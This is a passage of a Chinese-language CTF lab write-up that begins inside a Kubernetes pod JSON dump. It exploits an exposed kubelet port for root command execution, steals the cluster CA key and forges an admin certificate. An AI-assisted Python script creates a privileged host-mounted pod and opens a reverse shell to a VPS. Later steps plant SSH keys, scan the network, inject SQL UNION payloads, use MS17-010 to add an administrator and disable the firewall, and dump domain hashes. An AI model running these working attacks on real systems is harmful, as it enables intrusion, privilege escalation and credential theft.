ki/apiserver.crt","--tls-private-key-file=/etc/kubernetes/pki/apiserver.key"],"resources":{"requests":{"cpu":"250m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":6443,"host":"192.168.1.56","scheme":"HTTPS"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"kube-apiserver","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://91466a17b6887e674e4a083a273f9e2ea766b0d3230d3e6bd9a2f8fd72cb4267"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-apiserver@sha256:1ec8f8d41f67f3263b86d71f3a7d3d925b2458dd14292baecfbdf18c234a1855","containerID":"docker://849401ada69203e740b441e6fdca9228f1ad2ede5d1d61fd1d14c044d48de7e3","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-controller-manager-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-web","uid":"f50eab22113ed55f640ed65722a1b225","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"f50eab22113ed55f640ed65722a1b225","kubernetes.io/config.seen":"2026-07-14T20:52:53.978343406Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/controller-manager.conf","type":"FileOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-controller-manager","image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","command":["kube-controller-manager","--allocate-node-cidrs=true","--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf","--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf","--bind-address=127.0.0.1","--client-ca-file=/etc/kubernetes/pki/ca.crt","--cluster-cidr=10.244.0.0/16","--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt","--cluster-signing-key-file=/etc/kubernetes/pki/ca.key","--controllers=*,bootstrapsigner,tokencleaner","--kubeconfig=/etc/kubernetes/controller-manager.conf","--leader-elect=true","--node-cidr-mask-size=24","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--root-ca-file=/etc/kubernetes/pki/ca.crt","--service-account-private-key-file=/etc/kubernetes/pki/sa.key","--service-cluster-ip-range=10.96.0.0/12","--use-service-account-credentials=true"],"resources":{"requests":{"cpu":"200m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"flexvolume-dir","mountPath":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/controller-manager.conf"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10252,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"kube-controller-manager","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://4eee9f10e7ece666912c13a858bdeb31e58820e645c003a4734c8ce4766f2beb"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-controller-manager@sha256:d807554df171ba4f3b56aa2a63c2ef5b56af095fd7aebdeafedbbfcda5275d10","containerID":"docker://7dd8dc98a20a962ee33a042dd1fe390453d02e891c0c6b894881d056e46e025d","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-scheduler-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-web","uid":"2a528eea0130758e2a9e516b17b74d35","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"2a528eea0130758e2a9e516b17b74d35","kubernetes.io/config.seen":"2026-07-14T20:52:53.978346432Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/scheduler.conf","type":"FileOrCreate"}}],"containers":[{"name":"kube-scheduler","image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","command":["kube-scheduler","--authentication-kubeconfig=/etc/kubernetes/scheduler.conf","--authorization-kubeconfig=/etc/kubernetes/scheduler.conf","--bind-address=127.0.0.1","--kubeconfig=/etc/kubernetes/scheduler.conf","--leader-elect=true"],"resources":{"requests":{"cpu":"100m"}},"volumeMounts":[{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/scheduler.conf"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10251,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:19Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:53:15Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-07-14T12:53:15Z","containerStatuses":[{"name":"kube-scheduler","state":{"running":{"startedAt":"2026-07-14T12:53:19Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-07-14T20:52:51Z","containerID":"docker://69cd8f48ef273a80a2c5b5af45692978bd34b1bf4e701c5babf1ce8f21669ab2"}},"ready":true,"restartCount":10,"image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-scheduler@sha256:8f20c90afce972ae51acaf425b7bdb6445f54168b52ea311b2b89adf5db1acac","containerID":"docker://de62d9074449ec26053a09c474da65e1f93065958572d743cc4c269306a771fe","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-flannel-ds-7tjnc","generateName":"kube-flannel-ds-","namespace":"kube-flannel","selfLink":"/api/v1/namespaces/kube-flannel/pods/kube-flannel-ds-7tjnc","uid":"2ee99dbf-5741-48d2-83b3-666f1789f702","resourceVersion":"6975","creationTimestamp":"2026-04-16T07:57:47Z","labels":{"app":"flannel","controller-revision-hash":"5c766884b","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-07-14T12:53:24.697708952Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-flannel-ds","uid":"f0fea1f7-3b34-4f8f-bbd2-e95836da73e9","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"flannel-cfg","configMap":{"name":"kube-flannel-cfg","defaultMode":420}},{"name":"cni","hostPath":{"path":"/etc/cni/net.d","type":""}},{"name":"flannel-token-wxz9b","secret":{"secretName":"flannel-token-wxz9b","defaultMode":420}}],"containers":[{"name":"kube-flannel","image":"quay.io/coreos/flannel:v0.11.0-amd64","command":["/opt/bin/flanneld"],"args":["--ip-masq","--kube-subnet-mgr"],"env":[{"name":"POD_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.name"}}},{"name":"POD_NAMESPACE","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}}],"resources":{},"volumeMounts":[{"name":"flannel-cfg","mountPath":"/etc/kube-flannel"},{"name":"cni","mountPath":"/etc/cni/net.d"},{"name":"flannel-token-wxz9b","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"flannel","serviceAccount":"flannel","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:54:08Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-07-14T12:54:08Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T07:57:47Z","containerStatuses":[{"name":"kube-flannel","state":{"running":{"startedAt":"2026-07-14T12:54:08Z"}},"lastState":{"terminated":{"exitCode":1,"reason":"Error","startedAt":"2026-07-14T12:53:26Z","finishedAt":"2026-07-14T12:53:57Z","containerID":"docker://d464a122c5f49b42c3cbd63e123304c279a7aec81b4e4d09d808e4fc43b8f579"}},"ready":true,"restartCount":10,"image":"quay.io/coreos/flannel:v0.11.0-amd64","imageID":"docker-pullable://quay.io/coreos/flannel@sha256:7806805c93b20a168d0bbbd25c6a213f00ac58a511c47e8fa6409543528a204e","containerID":"docker://f77aaa45c41b3b21922186653e3321f4c3d2c1cf0e6a034faa6cc6acf89ef073","started":true}],"qosClass":"BestEffort"}}]}

给ai分析说能够容器逃逸和rce,先测试rce

1
proxychains4 curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-proxy-j874v/kube-proxy" -d "cmd=id"

直接回显了

1
uid=0(root) gid=0(root) groups=0(root)

然后先列出pkl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿kali)-[/home/kali]
└─# proxychains4 -q curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-apiserver-web/kube-apiserver" -d "cmd=ls -al /etc/kubernetes/pki"
total 68
drwxr-xr-x 3 root root 4096 Apr 16 07:55 .
drwxr-xr-x 3 root root 4096 Jul 14 12:53 ..
-rw-r--r-- 1 root root 1090 Apr 16 07:55 apiserver-etcd-client.crt
-rw------- 1 root root 1679 Apr 16 07:55 apiserver-etcd-client.key
-rw-r--r-- 1 root root 1099 Apr 16 07:55 apiserver-kubelet-client.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver-kubelet-client.key
-rw-r--r-- 1 root root 1212 Apr 16 07:55 apiserver.crt
-rw------- 1 root root 1675 Apr 16 07:55 apiserver.key
-rw-r--r-- 1 root root 1025 Apr 16 07:55 ca.crt
-rw------- 1 root root 1675 Apr 16 07:55 ca.key
drwxr-xr-x 2 root root 4096 Apr 16 07:55 etcd
-rw-r--r-- 1 root root 1038 Apr 16 07:55 front-proxy-ca.crt
-rw------- 1 root root 1679 Apr 16 07:55 front-proxy-ca.key
-rw-r--r-- 1 root root 1058 Apr 16 07:55 front-proxy-client.crt
-rw------- 1 root root 1679 Apr 16 07:55 front-proxy-client.key
-rw------- 1 root root 1675 Apr 16 07:55 sa.key
-rw------- 1 root root  451 Apr 16 07:55 sa.pub

拿ca的crt和key

1
2
3
4
5
proxychains4 curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-apiserver-web/kube-apiserver" -d "cmd=base64 /etc/kubernetes/pki/ca.key"
proxychains4 curl -k -X POST "https://192.168.1.56:10250/run/kube-system/kube-apiserver-web/kube-apiserver" -d "cmd=base64 /etc/kubernetes/pki/ca.crt"
echo "你的ca.key.base64字符串" | base64 -d > ca.key
echo "你的ca.crt.base64字符串" | base64 -d > ca.crt
chmod 600 ca.key

然后生成admin证书

1
2
3
4
5
6
# 生成私钥
openssl genrsa -out admin.key 2048
# 生成证书签名请求 (CSR)
openssl req -new -key admin.key -out admin.csr -subj "/CN=kubernetes-admin/O=system:masters"
# 使用偷来的 CA 密钥签发证书
openssl x509 -req -in admin.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out admin.crt -days 365

可以验证一下是否伪造成功

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
┌──(root㉿kali)-[/tmp]
└─# curl -sS -k --cert admin.crt --key admin.key --cacert ca.crt https://8.146.235.49:6443/api/v1/namespaces | python3 -m json.tool | head 
{
    "kind": "NamespaceList",
    "apiVersion": "v1",
    "metadata": {
        "selfLink": "/api/v1/namespaces",
        "resourceVersion": "13189"
    },
    "items": [
        {
            "metadata": {
                          

然后利用ai写逃逸脚本反弹shell

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/env python3
import requests, urllib3, time, subprocess, base64, sys

# ================= 配置区 (请根据实际情况修改) =================
TARGET_IP = "192.168.1.56"
API_URL = f"https://{TARGET_IP}:6443"
KUBELET_URL = f"https://{TARGET_IP}:10250"
CERT = ('admin.crt', 'admin.key')

POD_NAME = "root-escaper-v4"
NAMESPACE = "kube-system"
CONTAINER_NAME = "shell"

# 模式选择: 'read_flag' (直接读flag) 或 'reverse_shell' (反弹shell到VPS)
MODE = 'reverse_shell' 
VPS_IP = "101.34.249.170"    # 如果选 reverse_shell，请填写你的 VPS IP
VPS_PORT = "4444"         # 如果选 reverse_shell，请填写你的 VPS 端口
# =============================================================

urllib3.disable_warnings()
s = requests.Session()
s.cert = CERT
s.verify = False

def create_pod():
    print(f"[*] 尝试删除可能存在的旧 Pod: {POD_NAME}...")
    s.delete(f'{API_URL}/api/v1/namespaces/{NAMESPACE}/pods/{POD_NAME}', timeout=10)
    time.sleep(2)

    print("[*] 正在创建特权逃逸 Pod (特洛伊木马)...")
    pod_payload = {
        'apiVersion': 'v1',
        'kind': 'Pod',
        'metadata': {'name': POD_NAME, 'namespace': NAMESPACE},
        'spec': {
            'nodeName': 'web',  # 强制调度到目标节点
            'hostNetwork': True,
            'hostPID': True,
            'restartPolicy': 'Never',
            'tolerations': [{'operator': 'Exists'}], # 容忍所有污点
            'containers': [{
                'name': CONTAINER_NAME,
                'image': 'shiro-web:latest',
                'imagePullPolicy': 'IfNotPresent',
                'command': ['/bin/sh', '-c', 'sleep 36000'],
                'securityContext': {'privileged': True},
                'volumeMounts': [{'name': 'hostroot', 'mountPath': '/host_root'}]
            }],
            'volumes': [{'name': 'hostroot', 'hostPath': {'path': '/', 'type': 'Directory'}}]
        }
    }
    
    r = s.post(f'{API_URL}/api/v1/namespaces/{NAMESPACE}/pods', json=pod_payload, timeout=10)
    if r.status_code in [201, 200]:
        print("[+] Pod 创建请求已发送！")
    else:
        print(f"[-] Pod 创建失败: {r.status_code} - {r.text}")
        sys.exit(1)

def wait_for_pod():
    print("[*] 等待 Pod 启动并进入 Running 状态...")
    for i in range(30):
        r = s.get(f'{API_URL}/api/v1/namespaces/{NAMESPACE}/pods/{POD_NAME}', timeout=10)
        if r.status_code == 200:
            phase = r.json().get('status', {}).get('phase', 'Unknown')
            print(f"    [{i}/30] 当前状态: {phase}")
            if phase == 'Running':
                print("[+] Pod 已成功运行！")
                return True
        time.sleep(2)
    print("[-] Pod 启动超时，请检查镜像拉取或节点状态。")
    return False

def exec_via_kubelet(command):
    print(f"[*] 通过 Kubelet 10250 端口执行命令...")
    # 将命令 Base64 编码，防止 Shell 特殊字符转义问题
    b64_cmd = base64.b64encode((command + '\nexit 0\n').encode()).decode()
    shell_cmd = f"/bin/sh -c echo${{IFS}}{b64_cmd}|base64${{IFS}}-d|sh"
    
    target_url = f"{KUBELET_URL}/run/{NAMESPACE}/{POD_NAME}/{CONTAINER_NAME}"
    
    # 使用 proxychains4 调用 curl，确保流量走代理
    argv = [
        'proxychains4', '-q', 'curl', '-k', '-sS', '-X', 'POST', '-G',
        '--data-urlencode', f'cmd={shell_cmd}',
        target_url
    ]
    result = subprocess.run(argv, capture_output=True, text=True)
    print("\n--- 命令执行结果 ---")
    print(result.stdout)
    if result.stderr:
        print("[-] 错误信息:", result.stderr)
    print("--------------------\n")

if __name__ == "__main__":
    create_pod()
    if wait_for_pod():
        if MODE == 'read_flag':
            print("[*] 尝试读取宿主机 Flag...")
            exec_via_kubelet("ls -la /host_root/ && cat /host_root/flag* /host_root/root/flag* /host_root/home/*/flag* 2>/dev/null")
        elif MODE == 'reverse_shell':
            print(f"[*] 尝试反弹 Shell 到 {VPS_IP}:{VPS_PORT} ...")
            print("[!] 请确保你的 VPS 已经运行: nc -lvnp " + VPS_PORT)
            payload = (
                f"python3 -c 'import socket,subprocess,os;"
                f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
                f"s.connect((\"{VPS_IP}\",{VPS_PORT}));"
                f"os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
                f"import pty; pty.spawn(\"/bin/sh\")' "
                f"|| python -c 'import socket,subprocess,os;"
                f"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
                f"s.connect((\"{VPS_IP}\",{VPS_PORT}));"
                f"os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);"
                f"import pty; pty.spawn(\"/bin/sh\")'"
            )
            exec_via_kubelet(payload)

vps起监听4444端口就行了，然后改成交互式shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

这里是挂载了宿主机目录，然后就能拿到flag1了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
root@web:/app# cd /host_root
cd /host_root
root@web:/host_root# ls
ls
Notes  dev    initrd.img      lost+found  proc	snap	  tmp	   vmlinuz.old
bin    etc    initrd.img.old  media	  root	srv	  usr
boot   flag1  lib	      mnt	  run	swap.img  var
cdrom  home   lib64	      opt	  sbin	sys	  vmlinuz
root@web:/host_root# cat flag1
cat flag1
flag1{1fbfaaf6-4810-4239-b8df-b182b3ea11d2}

在宿主机目录写ssh公钥连接

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
#自己的机器上
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub
#弹的shell
echo "~/.ssh/id_rsa.pub的内容" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_rsa \
    -o ProxyCommand="nc -X 5 -x proxyip:1080 %h %p" \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    root@192.168.1.56

ssh连上之后内网扫描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
start infoscan
(icmp) Target 192.168.1.56    is alive
(icmp) Target 192.168.1.83    is alive
(icmp) Target 192.168.1.123   is alive
(icmp) Target 192.168.1.112   is alive
(icmp) Target 192.168.1.253   is alive
[*] Icmp alive hosts len is: 5
192.168.1.83:88 open
192.168.1.56:8080 open
192.168.1.123:8000 open
192.168.1.112:445 open
192.168.1.112:139 open
192.168.1.83:139 open
192.168.1.112:135 open
192.168.1.83:135 open
192.168.1.123:22 open
192.168.1.56:22 open
192.168.1.56:2379 open
192.168.1.56:10250 open
192.168.1.83:445 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo 
[*]192.168.1.112
   [->]WIN-R4DDIB9732K
   [->]192.168.1.112
[*] NetInfo 
[*]192.168.1.83
   [->]dc01
   [->]192.168.1.83
[*] NetBios 192.168.1.112   WIN-R4DDIB9732K.MICHA.COM           Windows Server 2016 Standard Evaluation 14393
[+] MS17-010 192.168.1.83	(Windows Server 2016 Standard Evaluation 14393)
[*] WebTitle http://192.168.1.123:8000 code:404 len:22     title:None
[*] WebTitle https://192.168.1.56:10250 code:404 len:19     title:None
[*] WebTitle http://192.168.1.56:8080  code:302 len:0      title:None 跳转url: http://192.168.1.56:8080/login;jsessionid=C422A14D4C504568EEE4B88A0D417918
[*] NetBios 192.168.1.83    [+] DC:dc01.MICHA.COM                Windows Server 2016 Standard Evaluation 14393
[*] WebTitle http://192.168.1.56:8080/login;jsessionid=C422A14D4C504568EEE4B88A0D417918 code:400 len:277    title:None

83这台有永恒之蓝，123有一个web服务，然后112也是一台windows

在这台机器先重新起代理，搭好代理再访问

然后打123

扫描目录找到docs路由

1
{"0":{"api":"User Information Query","method":"POST","url":"/api/BasicData","content-type":"application/json","params":{"username":"fuzzy search","workingID":"exact match"},"example":{"request":{"username":"al"},"response":{"status":"success","count":1,"data":[{"username":"alex","phone":"170*****723","email":"zmf7yv90y@company.com","workingID":"503207b4-0e73-41bd-ae30-cd921b6d7f28"}]}}},"1":{"api":"Project Record Query","method":"POST","url":"/api/ProjectRecord","content-type":"application/json","params":{"username":"exact search","grade":"exact match"},"example":{"request":{"grade":"A"},"response":{"status":"success","count":1,"data":[{"employee_name":"jaxon","task":"Brand Refresh","start_date":"2025-11-02","end_date":"2025-04-09","status":"A"}]}}},"2":{"api":"Attendance Record Query","method":"POST","url":"/api/AttendanceRecord","content-type":"application/json","params":{"username":"fuzzy search"},"example":{"request":{"username":"Alice"},"response":{"status":"success","count":1,"data":[{"employee_name":"Alice Johnson","status":"Late","remarks":"Arrived late due to traffic congestion","check_in_time":"2025-01-02 09:10","check_out_time":"2025-01-02 17:45"}]}}},"3":{"api":"Search for Password Hash (Limit 10)","method":"POST","url":"/api/PasswdHash","content-type":"application/json","params":{"username":"fuzzy search"},"example":{"request":{"username":"alex"},"response":{"status":"success","count":1,"data":[{"username":"alex","hash":"c5804b3885b4d5ca57a254a1e06ef72a"}]}}}}

/api/PasswdHash的username字段存在sql注入

偷懒直接用别人脚本拿信息了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import requests,json,re
BASE='http://192.168.1.123:8000'
s=requests.Session(); s.trust_env=False
def dump(name, inj):
    print('\n###',name, repr(inj))
    r=s.post(BASE+'/api/PasswdHash',json={'username':inj},timeout=8)
    print('status',r.status_code,'len',len(r.text))
    try: j=r.json()
    except: print(r.text[:3000]); return
    print('count',j.get('count'))
    for row in j.get('data',[]): print(row)
# try suppressing original rows
dump('secret', "zzzz' UNION SELECT flag,hint FROM secret--")
dump('login_passwd', "zzzz' UNION SELECT username,passwd FROM login--")
dump('login_hash_passwd_concat', "zzzz' UNION SELECT username,hash||':'||passwd FROM login--")
dump('info_key', "zzzz' UNION SELECT username,key FROM informations--")
dump('info_all_concat', "zzzz' UNION SELECT username,phone||':'||email||':'||workingID||':'||key FROM informations--")

可以拿到flag2和一堆用户名以及对应的hash，提示了aes就是要解这些hash拿到密码吧，不过前面都扫出来永恒之蓝了，所以接下来就打域拿最后两个flag

1
2
3
4
5
6
7
8
9
proxychains msfconsole
search ms17-010
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.1.83
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #允许rdp远程连接
set COMMAND 'net user 0d00 0d000721! /add'
set COMMAND 'net localgroup administrators 0d00 /add'#添加用户组到admin
set COMMAND 'netsh firewall set opmode disable' #关闭防火墙
#每次set完都run一下

现在就可以rdp直接连上去了,这里就不用上古项目rdesktop了，用xfreerdp,然后我写的用户可能有点问题来着，还是用别的佬的

1
proxychains4 xfreerdp3 /v:192.168.1.83 /u:N1tols /p:'qwer1234!' /cert:ignore /sec:rdp /drive:share,/tmp

但是不知道啥原因连不上rdp，直接smbexec拿flag了

1
2
3
4
proxychains impacket-smbexec 'MICHA/0d00:0d000721!'@192.168.1.83

C:\Windows\system32>type C:\Users\Administrator\Desktop\flag4.txt
flag4{35bdd403-4c3f-4065-bb24-bd0768479f70}

接下来就是拿其他用户hash了，导出整个域的hash

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
┌──(root㉿kali)-[/tmp]
└─# proxychains impacket-secretsdump 'MICHA/N1tols:qwer1234!'@192.168.1.83
[proxychains] config file found: /etc/proxychains4.conf
